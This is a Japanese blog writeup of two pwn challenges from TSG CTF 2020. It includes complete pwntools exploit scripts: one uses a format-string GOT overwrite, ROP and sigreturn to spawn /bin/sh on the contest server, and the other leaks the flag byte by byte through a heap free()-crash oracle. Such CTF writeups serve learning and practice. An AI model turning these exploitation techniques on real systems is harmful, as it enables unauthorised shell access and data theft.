h_nosonの日記

競プロ、CTFなど

TSG CTF 2020 Writeup

Beginner's PwnとDetectiveを解きました(std::vectorのような問題を解けるようになりたい…。追記:終了後に解きました Python + C拡張モジュールのExploit(TSG CTF 2020 std::vector) - h_nosonの日記)。

[Pwn] Beginner's Pwn

優しめのヒントが与えられている

かなり典型的な問題ですが、それほど直ちに解けるというわけでもないんじゃないでしょうか

初心者向けのヒント: リモートのサーバー上で、プログラムが動いています。 nc 35.221.81.216 30002によって接続してみてください。 この問題の目標は、リモートサーバーへのアクセスをするために、 /bin/shを実行することです。 接続ができたら、サーバーにフラグファイルがあるのが分かると思います。 それを読んでください。

シェルをとる方法: もしあなたがほとんどpwnの手法を知らないならば、 次の単語をインターネットで調べることは、良いとっかかりになると思います。

Format String Bug
GOT (Global Offset Table) Overwrite
Buffer Overflow
Return Oriented Programming
sigreturn syscall
etc.
私の意見では、この問題を解くためには、上述した手法で事足りると思います。 (実際のところ、これらのうちのいくつかが必要です)

注意ですが、この問題はワンライナーで解くのは難しいと思われます。 ソルバースクリプトを書くことをおすすめします。 pwntoolsを使ったソルバスクリプトのテンプレートも添付しました。 ご自由にお使いください。

バイナリはとても小さくて、readn(buf, 0x18)の後にscanf(buf)をしているだけ

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined buf [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  readn(buf,0x18);
  __isoc99_scanf(buf);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

scanfに直接bufが渡されているので任意のフォーマット(%s, %dなど)を使うことができる。%sで任意長の文字列を入れることができればROPに持ち込めるがSSPが有効であるため__stack_chk_failで落ちる。これは予め__stack_chk_failのGOTをretなどで潰しておけば回避できる。あとはROPでexecve("/bin/sh", NULL, NULL)を呼び出せばいいのだがpop raxpop rdxなどのgadgetがないため、他の方法で値を入れる必要がある。raxはreadnの後半で最後の文字と\nを比較するときにalを使っていてそれがこの関数の最後まで保持されるので、readnの最後にraxにセットしたい値を入力すればいい。rdxはヒントにある通りsigreturn syscallを使って全てのレジスタの値をスタックから取り出すことで解決できる。

  4011d8:       8b 45 f0                mov    eax,DWORD PTR [rbp-0x10]
  4011db:       83 e8 01                sub    eax,0x1
  4011de:       89 c2                   mov    edx,eax
  4011e0:       48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]
  4011e4:       48 01 d0                add    rax,rdx
  4011e7:       0f b6 00                movzx  eax,BYTE PTR [rax]
  4011ea:       3c 0a                   cmp    al,0xa
  4011ec:       75 12                   jne    401200 <readn+0xba>
  4011ee:       8b 45 f0                mov    eax,DWORD PTR [rbp-0x10]
  4011f1:       83 e8 01                sub    eax,0x1
  4011f4:       89 c2                   mov    edx,eax
  4011f6:       48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]
  4011fa:       48 01 d0                add    rax,rdx
  4011fd:       c6 00 00                mov    BYTE PTR [rax],0x0
  401200:       90                      nop
  401201:       c9                      leave
  401202:       c3                      ret
#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./beginners_pwn')
else:
    s = remote('35.221.81.216', 30002)

elf = ELF('./beginners_pwn')

ret = 0x401256
pop_rdi = 0x4012c3
pop_rsi_r15 = 0x4012c1
syscall = 0x40118f

payload = ''
payload += '%8$d%1$s'
payload = payload.ljust(0x10, '\0')
payload += p64(elf.got['__stack_chk_fail'])
s.sendline(payload)
time.sleep(0.1)

s.sendline(str(ret))
time.sleep(0.1)

payload = ''
payload += 'A' * 0x11
payload += p64(pop_rdi)
payload += p64(elf.bss())
payload += p64(pop_rsi_r15)
payload += p64(0x21) + p64(0)
payload += p64(elf.symbols['readn'])
payload += p64(syscall)
payload += p64(0) * 0xd
payload += p64(elf.bss())       # rdi
payload += p64(0) * 0x4         # rsi, rdx, etc.
payload += p64(0x3b)            # rax
payload += p64(0)               # rcx
payload += p64(elf.bss(0x200))  # rsp
payload += p64(syscall)         # rip
payload += p64(0)               # eflags
payload += p64(0x33)            # csgsfs
payload += p64(0) * 5
s.sendline(payload)
time.sleep(0.1)

s.send('/bin/sh\0' + 'A' * 0x18 + '\x0f')

s.interactive()

[Pwn] Detective

flagを1文字読み込んでheap上のほぼ任意の位置に一度だけ置くことができる。ただ、heapのデータを出力する機能はないのでどうにかして間接的にその値を特定する(またはシェルを取る)必要がある。どの領域のアドレスもわからず、確保できるchunkの大きさも0x100が上限かつcallocが使われているのでbinsを操作してシェルを起動する方法は見つからなかった。そこでchunkのsizeの2byte目にflagを書き込んでfreeしたときにエラーで落ちるかどうかで値を特定した。例えば、あるflagの文字が"4"であるときsizeは0x34XXになり、そのchunkの後ろの0x34XXバイト分を予め埋めておいてfreeが正常に動くようにした場合とそうでない場合を比べることで判別できる。(細かい注意点は、callocはtcacheを見ないのでcallocに特定のchunkを取り出して欲しい時はfastbinsに出しておかなければいけない)

#!/usr/bin/env python
from pwn import *

def connect():
    global s
    if len(sys.argv) == 1:
        s = process('./detective')
    else:
        s = remote('35.221.81.216', 30001)

def setup(index):
    s.sendline(str(index))

def alloc(index, size, data='A'):
    s.sendline('0')
    s.sendline(str(index))
    s.sendline(str(size))
    s.sendline(data)

def free(index):
    s.sendline('1')
    s.sendline(str(index))

def read(index, at):
    s.sendline('2')
    s.sendline(str(index))
    s.sendline(str(at))

flag = 'TSGCTF{'

context.log_level = 'WARNING'
for i in range(len(flag), 0x27):
    p = log.progress('Finding the flag character at %d' % len(flag), level = 'WARNING')
    for c in '0123456789abcdef':
        p.status(c)
        connect()
        setup(len(flag))
        for j in range(8):
            alloc(0, 0x18)
            free(0)
        alloc(1, 0xf8)
        for j in range(ord(c)-1):
            alloc(0, 0xf8)
        alloc(0, 0x18)
        read(0, 0x19)
        free(1)
        try:
            s.recvuntil('double free')
        except Exception:
            flag += c
            p.success(flag)
            break

flag += '}'
print flag